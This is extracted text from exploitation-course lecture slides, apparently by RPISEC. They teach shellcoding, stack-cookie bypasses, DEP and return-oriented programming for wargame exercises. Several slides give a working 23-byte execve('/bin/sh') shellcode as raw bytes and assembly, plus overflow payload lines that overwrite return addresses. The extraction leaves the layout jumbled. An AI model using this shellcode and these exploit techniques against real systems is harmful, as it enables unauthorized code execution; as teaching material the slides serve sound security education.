\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90

09/21/2021
RPISEC - 02/13/2019 Shellcoding
Stack Cookies & Shellcoding 22
NOP Slides
• NOP Instruction \x90
• Can come in handy, e.g.,

shellcode, part1

\x90\x90…\x90

shellcode, part2

09/21/2021
RPISEC - 02/13/2019 Shellcoding
Stack Cookies & Shellcoding 23
Injection (on Wargames)

09/21/2021
RPISEC - 02/13/2019 Shellcoding
Stack Cookies & Shellcoding 24
Outline
1. Recap
2. Injecting code
3. System calls and execve
4. Injecting code under constraints
a. Size constraints
b. Null bytes
c. Splitting

09/21/2021
RPISEC - 02/13/2019 Shellcoding
Stack Cookies & Shellcoding 25
System Calls
• Low level interface to kernel
• Syscalls enable:
– filesystem operations
– memory operations


file/socket IO
etc. ...
A full list can be
found here
09/21/2021
RPISEC - 02/13/2019 Shellcoding
Stack Cookies & Shellcoding 26
sys_execve
How can we recreate system("/bin/sh")?
Set registers:

RAX RDI RSI RDX

0x3b pointer to “/bin/sh” 0x00 0x00

syscall
09/21/2021
RPISEC - 02/13/2019 Shellcoding
Stack Cookies & Shellcoding 27
execv Shellcode
Smallest shellcode (that we know) to xor esi,esi
movabs
rbx,0x68732f2f6e69622f
1. Set registers push rsi
push rbx
2. Perform syscall push
pop
rsp
rdi
23 bytes

push 0x3b
pop rax
xor edx,edx
syscall

p.sendline("\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05")

09/21/2021
RPISEC - 02/13/2019 Shellcoding
Stack Cookies & Shellcoding 28
Internet Stranger’s Shellcode
Why write shellcode when you can steal borrow it
• shell-storm.org has shellcode for
– Most common use cases
– Most common architectures

09/21/2021
RPISEC - 02/13/2019 Shellcoding
Stack Cookies & Shellcoding 29
execv (on Wargames)

09/21/2021
RPISEC - 02/13/2019 Shellcoding
Stack Cookies & Shellcoding 30
Outline
1. Recap
2. Injecting code
3. System calls and execve
4. Injecting code under constraints
a. Size constraints
b. Null bytes
c. Splitting

09/21/2021
RPISEC - 02/13/2019 Shellcoding
Stack Cookies & Shellcoding 31
Null Bytes
fgets terminates the sequence with a null byte.
strncpy (among others) stops reading at \x00

Both instructions are equivalent


• mov rdi, 0 (\x48\xC7\xC7\x00\x00\x00\x00)
• xor rdi, rdi (\x48\x31\xFF)

09/21/2021
RPISEC - 02/13/2019 Shellcoding
Stack Cookies & Shellcoding 32
ASCII Shellcode
What if the system is only
expecting printable bytes?
• Harder, but still doable

09/21/2021
RPISEC - 02/13/2019 Shellcoding
Stack Cookies & Shellcoding 33
nullfree (on Wargames)

09/21/2021
RPISEC - 02/13/2019 Shellcoding
Stack Cookies & Shellcoding 34
Split Shellcode

char user_name[15] = {0};


int user_id = generate_random_id();
char password[15] = {0};

fgets(user_name, 15, stdin);


fgets(password, 15, stdin);
user_name 15 bytes

09/21/2021
RPISEC - 02/13/2019 Shellcoding
Stack Cookies & Shellcoding 35
Split Shellcode

char user_name[15] = {0};


int user_id = generate_random_id();
char password[15] = {0};
user_id 4 bytes
fgets(user_name, 15, stdin);
fgets(password, 15, stdin);
user_name 15 bytes

09/21/2021
RPISEC - 02/13/2019 Shellcoding
Stack Cookies & Shellcoding 36
Split Shellcode

password 15 bytes
char user_name[15] = {0};
int user_id = generate_random_id();
char password[15] = {0};
user_id 4 bytes
fgets(user_name, 15, stdin);
fgets(password, 15, stdin);
user_name 15 bytes

09/21/2021
RPISEC - 02/13/2019 Shellcoding
Stack Cookies & Shellcoding 37
Split Shellcode

xor esi,esi
movabs
password 15 bytes
char user_name[15] = {0}; rbx,0x68732f2f6e69622f
int user_id = generate_random_id(); push rsi

s
char password[15] = {0}; push rbx

te
user_id 4 bytes push rsp

by
fgets(user_name, 15, stdin); pop rdi
fgets(password, 15, stdin); push 0x3b

23
user_name 15 bytes pop rax
xor edx,edx
syscall

09/21/2021
RPISEC - 02/13/2019 Shellcoding
Stack Cookies & Shellcoding 38
Program Unhackable???

15 < 23

09/21/2021
RPISEC - 02/13/2019 Shellcoding
Stack Cookies & Shellcoding 39
Split Shellcode
xor esi,esi
movabs rbx,0x68732f2f6e69622f
15 bytes push rsi
char user_name[15] = {0};
password jmp 0x5
int user_id = generate_random_id();
char password[15] = {0};
user_id 4 bytes
fgets(user_name, 15, stdin);
fgets(password, 15, stdin);
user_name 15 bytes

09/21/2021
RPISEC - 02/13/2019 Shellcoding
Stack Cookies & Shellcoding 40
Split Shellcode
xor esi,esi
movabs rbx,0x68732f2f6e69622f
15 bytes push rsi
char user_name[15] = {0};
password jmp 0x5
int user_id = generate_random_id();
char password[15] = {0};
user_id 4 bytes nop
push rbx
fgets(user_name, 15, stdin);
push rsp
fgets(password, 15, stdin);
user_name 15 bytes pop rdi
push 0x3b
pop rax
xor edx,edx
syscall

09/21/2021
RPISEC - 02/13/2019 Shellcoding
Stack Cookies & Shellcoding 41
Splits (on Wargames)

09/21/2021
RPISEC - 02/13/2019 Shellcoding
Stack Cookies & Shellcoding 42
u64, again
… // at index 0:
data[0]

p.sendline(u64("\x31\xf6\x48\xbb\x2f\x62\x69\x6e"))) data[1]

… // at index 1: data[2]

data[3]
p.sendline(u64("\x2f\x2f\x73\x68\x56\x53\x54\x5f")))
data[4]

… // at index 2: data[5]

p.sendline(u64("\x6a\x3b\x58\x31\xd2\x0f\x05\x00"))) -

-
43
COOKIE’s HERE! (More later)

… // at index 10: Saved RBP

Return Address

p.sendline(shellcode_addr)
09/21/2021
RPISEC - 02/13/2019 Shellcoding
Stack Cookies & Shellcoding
Important Points
1. Goal is to inject 23-byte shellcode
a. In challenges, override return address with shellcode address
b. Shell code is on stack!
2. No null bytes in shellcode
3. NOP Slide
4. jmp $+N is important
5. Use u64 and p64!

09/21/2021
RPISEC - 02/13/2019 Shellcoding
Stack Cookies & Shellcoding 44
Questions
???

09/21/2021
RPISEC - 02/13/2019 Shellcoding
Stack Cookies & Shellcoding 45
Lecture Selanjutnya
Stack Cookies

RPISEC - 02/20/2019
09/28/2021 Stack
StackCookies
Cookies 1
Outline
• Shellcoding, recap

• Injecting code, recap

• Stack cookies

Stack Cookies & Shellcoding 2


09/28/2021 Stack
Stack
Cookies
Cookies
execv Shellcode
Minimal shellcode xor esi,esi
movabs rbx,0x68732f2f6e69622f
(that we know of) push rsi
push rbx

• Sets registers push


pop
rsp
rdi
23
bytes
• Performs syscall push
pop
0x3b
rax
xor edx,edx
syscall

p.send("\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x
3b\x58\x31\xd2\x0f\x05")

Stack Cookies & Shellcoding 3


09/28/2021 Stack
Stack
Cookies
Cookies
execv Shellcode

rip xor esi,esi


rax: ? movabs
rbx,0x68732f2f6e69622f
rdi: ? push rsi
push rbx
rsi: ? push rsp
pop rdi
rdx: ? push 0x3b
syscall pop
xor
rax
edx,edx
syscall

Stack Cookies & Shellcoding 4


09/28/2021 Stack
Stack
Cookies
Cookies
execv Shellcode

xor esi,esi
rax: ? rip movabs
rbx,0x68732f2f6e69622f
rdi: ? push rsi
push rbx
rsi: 0x0 push rsp
pop rdi
rdx: ? push 0x3b
syscall pop
xor
rax
edx,edx
syscall

Stack Cookies & Shellcoding 5


09/28/2021 Stack
Stack
Cookies
Cookies
execv Shellcode

rbx: 0x6873...2f
xor esi,esi
rax: ? movabs
rbx,0x68732f2f6e69622f
rdi: ? rip push rsi
rsi: 0x0 push
push
rbx
rsp
rdx: ? pop rdi
push 0x3b
syscall pop rax
xor edx,edx
syscall

Stack Cookies & Shellcoding 6


09/28/2021 Stack
Stack
Cookies
Cookies
execv Shellcode

rbx: 0x6873...2f
xor esi,esi
rax: ? movabs
rbx,0x68732f2f6e69622f
rdi: ? push rsi
rip push rbx
rsi: 0x0 push rsp
pop rdi
rdx: ? push 0x3b
0x0
syscall pop
xor
rax
edx,edx
syscall

Stack Cookies & Shellcoding 7


09/28/2021 Stack
Stack
Cookies
Cookies
execv Shellcode

rbx: 0x6873...2f
xor esi,esi
rax: ? movabs
rbx,0x68732f2f6e69622f
rdi: ? push rsi
push rbx
rsi: 0x0 rip push rsp
pop rdi
rdx: ? push 0x3b
rsp 0x68732f2f6e69622f

0x0
syscall pop
xor
rax
edx,edx
syscall

Stack Cookies & Shellcoding 8


09/28/2021 Stack
Stack
Cookies
Cookies
execv Shellcode

rbx: 0x6873...2f
xor esi,esi
rax: ? movabs
rbx,0x68732f2f6e69622f
rdi: ? push rsi
push rbx
rsi: 0x0 push rsp
0x7ff.. -> ‘/bin/sh’
pop rdi
rdx: ? rip
push 0x3b
0x68732f2f6e69622f

0x0
syscall pop
xor
rax
edx,edx
syscall

Stack Cookies & Shellcoding 9


09/28/2021 Stack
Stack
Cookies
Cookies
execv Shellcode

rbx: 0x6873...2f
xor esi,esi
rax: ? movabs
rbx,0x68732f2f6e69622f
rdi: 0x7ff… -> ‘/bin/sh’
push rsi
push rbx
rsi: 0x0 push rsp
pop rdi
rdx: ? rip push 0x3b
0x68732f2f6e69622f

0x0
syscall pop
xor
rax
edx,edx
syscall

Stack Cookies & Shellcoding 10


09/28/2021 Stack
Stack
Cookies
Cookies
execv Shellcode

rbx: 0x6873...2f
xor esi,esi
rax: ? movabs
rbx,0x68732f2f6e69622f
rdi: 0x7ff… -> ‘/bin/sh’
push rsi
push rbx
rsi: 0x0 push rsp
0x3b
pop rdi
rdx: ? push 0x3b
0x68732f2f6e69622f

0x0
syscall rip pop
xor
rax
edx,edx
syscall

Stack Cookies & Shellcoding 11


09/28/2021 Stack
Stack
Cookies
Cookies
execv Shellcode

rbx: 0x6873...2f
xor esi,esi
rax: 0x3b movabs
rbx,0x68732f2f6e69622f
rdi: 0x7ff… -> ‘/bin/sh’
push rsi
push rbx
rsi: 0x0 push rsp
pop rdi
rdx: ? push 0x3b
0x68732f2f6e69622f

0x0
syscall pop rax
rip xor edx,edx
syscall

Stack Cookies & Shellcoding 12


09/28/2021 Stack
Stack
Cookies
Cookies
execv Shellcode

rbx: 0x6873...2f
xor esi,esi
rax: 0x3b movabs
rbx,0x68732f2f6e69622f
rdi: 0x7ff… -> ‘/bin/sh’
push rsi
push rbx
rsi: 0x0 push rsp
pop rdi
rdx: 0x0 push 0x3b
0x68732f2f6e69622f

0x0
syscall pop
xor
rax
edx,edx
rip syscall

Stack Cookies & Shellcoding 13


09/28/2021 Stack
Stack
Cookies
Cookies
execv Shellcode

rbx: 0x6873...2f
xor esi,esi
rax: 0x3b movabs
rbx,0x68732f2f6e69622f
rdi: 0x7ff… -> ‘/bin/sh’
push rsi
push rbx
rsi: 0x0 push rsp
pop rdi
rdx: 0x0 push 0x3b
0x68732f2f6e69622f

0x0
syscall pop
xor
rax
edx,edx
Shell! :D syscall

Stack Cookies & Shellcoding 14


09/28/2021 Stack
Stack
Cookies
Cookies
Shellcoding Constraints
• Cannot have Null characters in shellcode
• Cannot contain certain bytes/sequences
– E.g., ‘/’,‘b’,‘i’,‘n’,‘s’,‘h’
• Cannot use certain locations: XXXXXXXXXXXXXXX

XXXXXXXXXXXXXXX

• Can we circumvent such


XXXXXXXXXXXXXXX

constraints? XXXXXXXXXXXXXXX

Stack Cookies & Shellcoding 15


09/28/2021 Stack
Stack
Cookies
Cookies
Injecting Code (as Stream)
Lower Memory -
Start of
typedef struct { my_str.data
char[48] data; -

void (*fp)(); -
} some_struct;
-

int main() { -
some_struct my_str; End of
- my_str.data
unsigned long i,j;
0x00
my_str.fp
my_str.fp = &func;
0x00
gets(my_str.data);
0x00 i,j = 0
...
my_str.fp();
0x7fff01020304 Saved RBP
} Higher Memory 0x... Return Address

Stack Cookies & Shellcoding 16


09/28/2021 Stack
Stack
Cookies
Cookies
Injecting Code (as Stream)
-
shellcode = -

"\x31\xf6\x48\xbb\x2f\x62\x69\x6e -

\x2f\x2f\x73\x68\x56\x53\x54\x5f -

-
\x6a\x3b\x58\x31\xd2\x0f\x05"
-

p.sendline(shellcode + 0x00

0x00
‘A’*(80-len(shellcode)) + 0x00

p64(0x7fffffffed10)) 0x7fff01020304

0x...

Stack Cookies & Shellcoding 17


09/28/2021 Stack
Stack
Cookies
Cookies
Injecting Code (as Unsigned
Long)
Lower Memory - Start of data
int main() {
unsigned long data[7]; -

unsigned int index; -


unsigned long value;
-

while (1) { -

-
index = get_number();
value = get_hex64(); - End of data
0x00
data[index] = value; index,
... 0x00 value
}
}
0x7fff01020304 Saved RBP
Higher Memory 0x... Return Address

Stack Cookies & Shellcoding 18


09/28/2021 Stack
Stack
Cookies
Cookies
Injecting Code (as Unsigned
Long)
-
shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e
-
\x2f\x2f\x73\x68\x56\x53\x54\x5f
-
\x6a\x3b\x58\x31\xd2\x0f\x05"
-
… // at index 0:
-
p.sendline(hex(u64("\x31\xf6\x48\xbb\x2f\x62\x69\x6e")))
-
… // at index 1:
-
p.sendline(hex(u64("\x2f\x2f\x73\x68\x56\x53\x54\x5f")))
0x00
… // at index 2:
0x00
p.sendline(hex(u64("\x6a\x3b\x58\x31\xd2\x0f\x05\x00"))
0x7fff01020304
… // at index ?:
0x...
p.sendline(???
Stack Cookies & Shellcoding 19
09/28/2021 Stack
Stack
Cookies
Cookies
Injecting Code (as Int)
Lower Memory
Start of data
int main() {
unsigned int data[14];
unsigned int index;
unsigned int value;

while (1) {

index = get_unum();
value = get_unum(); End of data
0x00
data[index] = value; index,
... 0x00 value
}
}
0x7fff01020304 Saved RBP
Higher Memory 0x... Return Address

Stack Cookies & Shellcoding 20


09/28/2021 Stack
Stack
Cookies
Cookies
Injecting Code (as Int)
… // at index 0: -

p.sendline(u64("\x31\xf6\x48\xbb\x00\x00\x00\x00")) -

… // at index 1: -

p.sendline(u64("\x2f\x62\x69\x6e\x00\x00\x00\x00")) -

… // at index 2: -

p.sendline(u64("\x2f\x2f\x73\x68\x00\x00\x00\x00")) -

… // at index 3: -

p.sendline(u64("\x56\x53\x54\x5f\x00\x00\x00\x00")) 0x00

… etc. 0x00

0x7fff01020304

0x...

Stack Cookies & Shellcoding 21


09/28/2021 Stack
Stack
Cookies
Cookies
vs. Injecting Code (as Int)
… // at index 0: -

-
p.sendline(3142121009)
-

… // at index 1: -

p.sendline(1651073647) -

… etc. -

0x00

0x00

0x7fff01020304

0x...

Stack Cookies & Shellcoding 22


09/28/2021 Stack
Stack
Cookies
Cookies
Stack Cookies

Stack Cookies & Shellcoding 23


09/28/2021 Stack Cookies
Stack Cookies
AKA Stack Canaries

A compiler-based mitigation to
prevent (most) stack-based buffer
overflows from being exploitable
-fno-stack-protector (default)
-fstack-protector (to compile with stack cookies)

Stack Cookies & Shellcoding 24


09/28/2021 Stack
Stack
Cookies
Cookies
Stack Cookies (Before)
No Cookies Cookies

Stack Cookies & Shellcoding 25


09/28/2021 Stack Cookies
Stack Cookies (After)
No Cookies With Cookies

*** stack smashing detected ***: program terminated

Stack Cookies & Shellcoding 26


09/28/2021 Stack Cookies
Function Prologue

Stack
Saved RBP

Return Address

... Stack Cookies & Shellcoding


Local Variables
(main) 27
09/28/2021 Stack Cookies
Function Prologue

Stack
Saved RBP

Return Address

... Stack Cookies & Shellcoding


Local Variables
(main) 28
09/28/2021 Stack Cookies
Function Prologue
Stack Stack
Cookie
Local Variables
(ask_questions)

Saved RBP

Return Address

... Stack Cookies & Shellcoding


Local Variables
(main) 29
09/28/2021 Stack Cookies
Function Prologue
Stack Stack
Cookie
Local Variables
(ask_questions)

Saved RBP

Return Address

... Stack Cookies & Shellcoding


Local Variables
(main) 30
09/28/2021 Stack Cookies
Function Prologue
Stack Stack
Cookie
Local Variables
(ask_questions)

Stack Cookie
Saved RBP

Return Address

... Stack Cookies & Shellcoding


Local Variables
(main) 31
09/28/2021 Stack Cookies
Cookie Check

No return

Stack Cookies & Shellcoding 32


09/28/2021 Stack
Stack
Cookies
Cookies
Stack Cookies
• Stack cookie value is randomly generated
each program run

• One stack cookie value per program run


– All functions share same stack cookie
– Corollary: may leak cookie in one function,
and overflow buffer in another function

Stack Cookies & Shellcoding 33


09/28/2021 Stack
Stack
Cookies
Cookies
Return Cookies on Wargames

Stack Cookies & Shellcoding 34


09/28/2021 Stack
Stack
Cookies
Cookies
Cookie Leak Attacks
• What if the program data[0]

“leaks” the cookie? data[1]

data[2]
int main() { data[3]
unsigned long data[4];
char buffer[24]; buffer

buffer
int index = get_number();
printf(..., data[index]); buffer

... -

COOKIE’s HERE!
gets(buffer);
... Saved RBP
}
Return Address
}

Stack Cookies & Shellcoding 35


09/28/2021 Stack
Stack
Cookies
Cookies
Cookie Leak Attacks
data[0]
p.sendline(8)
data[1]
cookie_data = p.readuntil(...)
data[2]

cookie = ...(cookie_data) data[3]

buffer

buffer

p.sendline(shellcode + buffer

-
‘A’*(32-len(shellcode)) + COOKIE’s HERE!

cookie + ‘A’*8 + Saved RBP

Return Address
shellcode_addr)
Stack Cookies & Shellcoding 36
09/28/2021 Stack
Stack
Cookies
Cookies
Leaky Cookies on Wargames

Stack Cookies & Shellcoding 37


09/28/2021 Stack
Stack
Cookies
Cookies
Precise Cookie Attacks
• What if we can data[0]

data[1]
“bypass” the cookie? data[2]

int main() { data[3]


unsigned long data[6];
data[4]
unsigned long value;
int index; data[5]

-
while (1) {
index = get_number(); -
value = get_uint64();
COOKIE’s HERE!
...
data[index] = value; Saved RBP

… Return Address
}
}
Stack Cookies & Shellcoding 38
09/28/2021 Stack
Stack
Cookies
Cookies
Precise Cookie Attacks
… // at index 0: data[0]

p.sendline(u64("\x31\xf6\x48\xbb\x2f\x62\x69\x6e"))) data[1]

… // at index 1: data[2]

p.sendline(u64("\x2f\x2f\x73\x68\x56\x53\x54\x5f"))) data[3]

… // at index 2: data[4]

p.sendline(u64("\x6a\x3b\x58\x31\xd2\x0f\x05\x00"))) data[5]

… // at index 10:
-

COOKIE’s HERE!

p.sendline(shellcode_addr) Saved RBP

Return Address

Stack Cookies & Shellcoding 39


09/28/2021 Stack
Stack
Cookies
Cookies
Precise Cookies on Wargames

Stack Cookies & Shellcoding 40


09/28/2021 Stack
Stack
Cookies
Cookies
a31729989z

gdb - Examining memory


x/NFU [address]
- F = format
- U = unit
- N = number

x/4wx 0xdeadbeef -- 4 words in hex


x/16bx 0xdeadbeef -- 16 bytes in hex
x/s 0xdeadbeef -- null terminated string

09/28/2021
RPISEC - 1/30/2019 MBE -Stack
Reverse Cookies
Engineering 41
Questions

???

RPISEC - 02/20/2019
09/28/2021 Stack
StackCookies
Cookies 42
Lecture Selanjutnya
Data Execution Prevention &
Return Oriented Programming
Slides by RPISEC (modified by Ana Milanova
and Brian Callahan)

RPISEC - 02/20/2019
10/05/2021 DEP & ROP 1
Agenda
1. Recap
2. Data Execution Prevention (DEP)
3. Return Oriented Programming (ROP)
a. ROP Gadgets and ROP Chains
b. Stack Pivoting
c. Better ROP

RPISEC - 02/20/2019
10/05/2021 DEP & ROP 2
Recap

RPISEC - 02/20/2019
10/05/2021 DEP & ROP 3
Runtime Memory

Memory Segments .text

.rodata
• Program Code .data

– .text
– libraries [heap]

libraries
(libc…)

[stack]
RPISEC - 02/20/2019
10/05/2021 DEP & ROP 4
Runtime Memory

Memory Segments .text

.rodata
• Program Code .data
– .text
– libraries [heap]

• User Data
– stack
– heap
libraries
(libc…)

[stack]
RPISEC - 02/20/2019
10/05/2021 DEP & ROP 5
Overflows 101

// generate a secure, one time


password for the admin
char admin_password[64] = {};
generate_otp(admin_password,
sizeof(admin_password)
);

// prompt the user for their password


char user_password[32] = {};
printf("Enter password: "); 64 bytes
admin_password
fgets(user_password,
strlen(admin_password),
stdin
);

RPISEC - 02/20/2019
10/05/2021 DEP & ROP 6
Overflows 101

// generate a secure, one time


password for the admin
char admin_password[64] = {};
generate_otp(admin_password,
sizeof(admin_password)
);

// prompt the user for their password


char user_password[32] = {};
printf("Enter password: "); 64 bytes
admin_password
fgets(user_password,
strlen(admin_password),
stdin
);

RPISEC - 02/20/2019
10/05/2021 DEP & ROP 7
Overflows 101

// generate a secure, one time


password for the admin
char admin_password[64] = {};
generate_otp(admin_password, 32 bytes
user_password
sizeof(admin_password)
);

// prompt the user for their password


char user_password[32] = {};
printf("Enter password: "); 64 bytes
admin_password
fgets(user_password,
strlen(admin_password),
stdin
);

RPISEC - 02/20/2019
10/05/2021 DEP & ROP 8
Overflows 101

// generate a secure, one time


password for the admin
char admin_password[64] = {};
Us
generate_otp(admin_password, er 32 bytes
user_password
sizeof(admin_password) Co
);
nt
ro
ll
ed
// prompt the user for their password
char user_password[32] = {};
printf("Enter password: "); 64 bytes
admin_password
fgets(user_password,
strlen(admin_password),
stdin
);

RPISEC - 02/20/2019
10/05/2021 DEP & ROP 9
Stack Cookies
Mitigation to prevent (certain) stack-based buffer
overflows from being exploitable

RPISEC - 02/20/2019
10/05/2021 DEP & ROP 10
sys_execve
How can we recreate system("/bin/sh")?
Set registers:

RAX RDI RSI RDX

0x3b pointer to “/bin/sh” 0x00 0x00

syscall

RPISEC - 02/20/2019
10/05/2021 DEP & ROP 11
execv Shellcode
Smallest shellcode (that we know of) xor esi,esi
movabs
1. set registers rbx,0x68732f2f6e69622f
push rsi
2. perform syscall push rb 23
push rsp bytes
pop rdi
push 0x3b
pop rax
xor edx,edx
syscall

p.send("\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x
3b\x58\x31\xd2\x0f\x05")

RPISEC - 02/20/2019
10/05/2021 DEP & ROP 12
Runtime Memory

Memory Segments .text

.rodata
• Program Code .data
– .text
– libraries [heap]
• User Data
– stack
– heap
libraries
(libc…)

\x31\xf6\x4
[stack]
RPISEC - 02/20/2019
10/05/2021 DEP & ROP 13
Data Execution Prevention
(DEP)

RPISEC - 02/20/2019
10/05/2021 DEP & ROP 14
It’s 2021...
Let’s say we have full control over the stack…
win function?

RPISEC - 11/2/2018
10/05/2021 Intro
DEP Pwn - rpis.ec/pwn.pdf
& ROP 15
It’s 2021...
Let’s say we have full control over the stack…
- win function? the world isn’t a CTF challenge
- shellcode?

RPISEC - 11/2/2018
10/05/2021 Intro
DEP Pwn - rpis.ec/pwn.pdf
& ROP 16
It’s 2021...
Let’s say we have full control over the stack…
- win function? the world isn’t a CTF challenge
- shellcode?
o u t
g e t
e t ’s ’s
L e 9 0
o f t h

RPISEC - 11/2/2018
10/05/2021 Intro
DEP Pwn - rpis.ec/pwn.pdf
& ROP 17
Modern Era

• Introducing NX/DEP (No-Execute/Data


Execution Prevention)
– [Shacham, CCS’07] credits NX/DEP to
SolarDesigner’s StackPatch:
http://www.openwall.com/linux

RPISEC - 11/2/2018
10/05/2021 Intro
DEP Pwn - rpis.ec/pwn.pdf
& ROP 18
DEP/NX/W^X (This is always on unless you’re running on a potato)

Stack/data is mapped No eXecute


aka DEP (Data Execution Prevention)
aka W^X (Write xor eXecute)
- memory regions are marked writable or
executable, not both

No more shellcode!

RPISEC - 11/2/2018
10/05/2021 Intro
DEP Pwn - rpis.ec/pwn.pdf
& ROP 19
Runtime Memory

Memory Segments .text

.rodata
• Program Code (Read and Execute) .data
– .text
– libraries [heap]
• User Data (Read and Write)
– stack
– heap
libraries
(libc…)

[stack]
RPISEC - 02/20/2019
10/05/2021 DEP & ROP 20
DEP on Wargames

RPISEC - 02/20/2019
10/05/2021 DEP & ROP 21
Return Oriented Programming
(ROP)

RPISEC - 02/20/2019
10/05/2021 DEP & ROP 22
Return Oriented Programming (ROP)

• “The geometry of innocent flesh on the bone:


Return-into-libc without function calls (on the
x86)”
– by Hovav Shacham
– in Proceedings of the 14th ACM
conference on Computer and
communications security (CCS), 2007

RPISEC - 11/2/2018
10/05/2021 Intro
DEP Pwn - rpis.ec/pwn.pdf
& ROP 23
Return Oriented Programming (ROP)

• “The geometry of innocent flesh on the bone:


Return-into-libc without function calls (on the
x86)”
We present new techniques that allow a return-into-libc attack
to be mounted on x86 executables that calls no functions at all.
Our attack combines a large number of short instruction
sequences to build gadgets that allow arbitrary computation. We
show how to discover such instruction sequences by means of
static analysis. We make use, in an essential way, of the
properties of the x86 instruction set.
RPISEC - 11/2/2018
10/05/2021 Intro
DEP Pwn - rpis.ec/pwn.pdf
& ROP 24
Return Oriented Programming (ROP)

• Code reuse
– Can’t use our own code...
– What if we string together existing code to do
what we want, a few instructions at a time…
– These instruction sequences are called gadgets
(or ROP gadgets)

RPISEC - 11/2/2018
10/05/2021 Intro
DEP Pwn - rpis.ec/pwn.pdf
& ROP 25
Return Oriented Programming (ROP)

• Code reuse
– Can’t use our own code...
– What if we string together existing code to do what we want, a few
instructions at a time…
– These instruction sequences are called gadgets
– Small bits of code ending in a return add rax, 0x4
ret

pop rax pop rbx xchg rsp, rax


ret pop rdx ret
syscall
ret

RPISEC - 11/2/2018
10/05/2021 Intro
DEP Pwn - rpis.ec/pwn.pdf
& ROP 26
Return Oriented Programming (ROP)

• Gadgets
– Short instruction sequences ending in a return
pop rbx
pop rdx
– String them together to form ret

a ropchain pop rax


ret

add rax, 0x4


ret

syscall

RPISEC - 11/2/2018
10/05/2021 Intro
DEP Pwn - rpis.ec/pwn.pdf
& ROP 27
Semantics of ret
Before ret: After ret:
rip at 4004ce rip at 455e55

buffer: AAAAAAAA buffer: AAAAAAAA

AAAAAAAA AAAAAAAA

AAAAAAAA AAAAAAAA

AAAAAAAA AAAAAAAA

0x7fffffffabcd 0x7fffffffabcd

rsp 0x455e55 0x455e55

0x3b rsp 0x3b

RPISEC - 11/2/2018
10/05/2021 Intro
DEP Pwn - rpis.ec/pwn.pdf
& ROP 28
Return Oriented Programming (ROP)

Typical execve shellcode register state:


rax: 0x3b
rdi: -> “/bin/sh”
rsi: 0x0
rdx: 0x0
syscall

RPISEC - 11/2/2018
10/05/2021 Intro
DEP Pwn - rpis.ec/pwn.pdf
& ROP 29
Return Oriented Programming (ROP)

Now with ROP:


pop rdi 0x401d70
rax: ? pop rax
ret 0x600864 -> “/bin/sh”
rdi: ? 0x3b

rsi: ? 0x400590
pop rsi
rdx: ? pop rdx
ret
0x0

0x0
syscall
0x455e55

syscall

RPISEC - 11/2/2018
10/05/2021 Intro
DEP Pwn - rpis.ec/pwn.pdf
& ROP 30
Return Oriented Programming (ROP)

Now with ROP: rip pop rdi


rax: ? pop rax
ret 0x600864 -> “/bin/sh”
rdi: ? 0x3b

rsi: ? 0x400590
pop rsi
rdx: ? pop rdx
ret
0x0

0x0
syscall
0x455e55

syscall

RPISEC - 11/2/2018
10/05/2021 Intro
DEP Pwn - rpis.ec/pwn.pdf
& ROP 31
Return Oriented Programming (ROP)

Now with ROP:


pop rdi
rax: ? rip pop rax
ret

rdi: 0x600864 “/bin/sh” 0x3b

rsi: ? 0x400590
pop rsi
rdx: ? pop rdx
ret
0x0

0x0
syscall
0x455e55

syscall

RPISEC - 11/2/2018
10/05/2021 Intro
DEP Pwn - rpis.ec/pwn.pdf
& ROP 32
Return Oriented Programming (ROP)

Now with ROP: pop rdi


pop rax
rax: 0x3b rip ret

rdi: 0x600864 “/bin/sh”


rsi: ? 0x400590
pop rsi
rdx: ? pop rdx
ret
0x0

0x0
syscall
0x455e55

syscall

RPISEC - 11/2/2018
10/05/2021 Intro
DEP Pwn - rpis.ec/pwn.pdf
& ROP 33
Return Oriented Programming (ROP)

Now with ROP:


pop rdi
rax: 0x3b pop rax
ret

rdi: 0x600864 “/bin/sh”


rsi: ?
rip pop rsi
rdx: ? pop rdx
ret
0x0

0x0
syscall
0x455e55

syscall

RPISEC - 11/2/2018
10/05/2021 Intro
DEP Pwn - rpis.ec/pwn.pdf
& ROP 34
Return Oriented Programming (ROP)

Now with ROP:


pop rdi
rax: 0x3b pop rax
ret

rdi: 0x600864 “/bin/sh”


rsi: 0x0
pop rsi
rdx: ? rip pop rdx
ret
0x0
syscall
0x455e55

syscall

RPISEC - 11/2/2018
10/05/2021 Intro
DEP Pwn - rpis.ec/pwn.pdf
& ROP 35
Return Oriented Programming (ROP)

Now with ROP:


pop rdi
rax: 0x3b pop rax
ret

rdi: 0x489864 “/bin/sh”


rsi: 0x0
pop rsi
rdx: 0x0 rip
pop rdx
ret
syscall
0x455e55

syscall

RPISEC - 11/2/2018
10/05/2021 Intro
DEP Pwn - rpis.ec/pwn.pdf
& ROP 36
Return Oriented Programming (ROP)

Now with ROP:


pop rdi
rax: 0x3b pop rax
ret

rdi: 0x489864 “/bin/sh”


rsi: 0x0
pop rsi
rdx: 0x0 pop rdx
ret
syscall
Shell! :D rip syscall

RPISEC - 11/2/2018
10/05/2021 Intro
DEP Pwn - rpis.ec/pwn.pdf
& ROP 37
ROP on Wargames

Note: In ROP Builder run print system in the debugger to find


the address of library function system

RPISEC - 11/2/2018
10/05/2021 Intro
DEP Pwn - rpis.ec/pwn.pdf
& ROP 38
Stack Pivoting
• What if we don’t control enough space past
return address slot (where rsp points to) to
place the ropchain
– E.g., sometimes, you control a single slot past the
return address
– Sometimes, you control only the return address
slot!

RPISEC - 11/2/2018
10/05/2021 Intro
DEP Pwn - rpis.ec/pwn.pdf
& ROP 39
Stack Pivoting
• E.g., we have control over 4 slots
– We need more slots to get a shell!

rsp return address ROP Gadget 1

- Data

- ROP Gadget 2

- Data

Non controlled by us Non controlled by us

RPISEC - 11/2/2018
10/05/2021 Intro
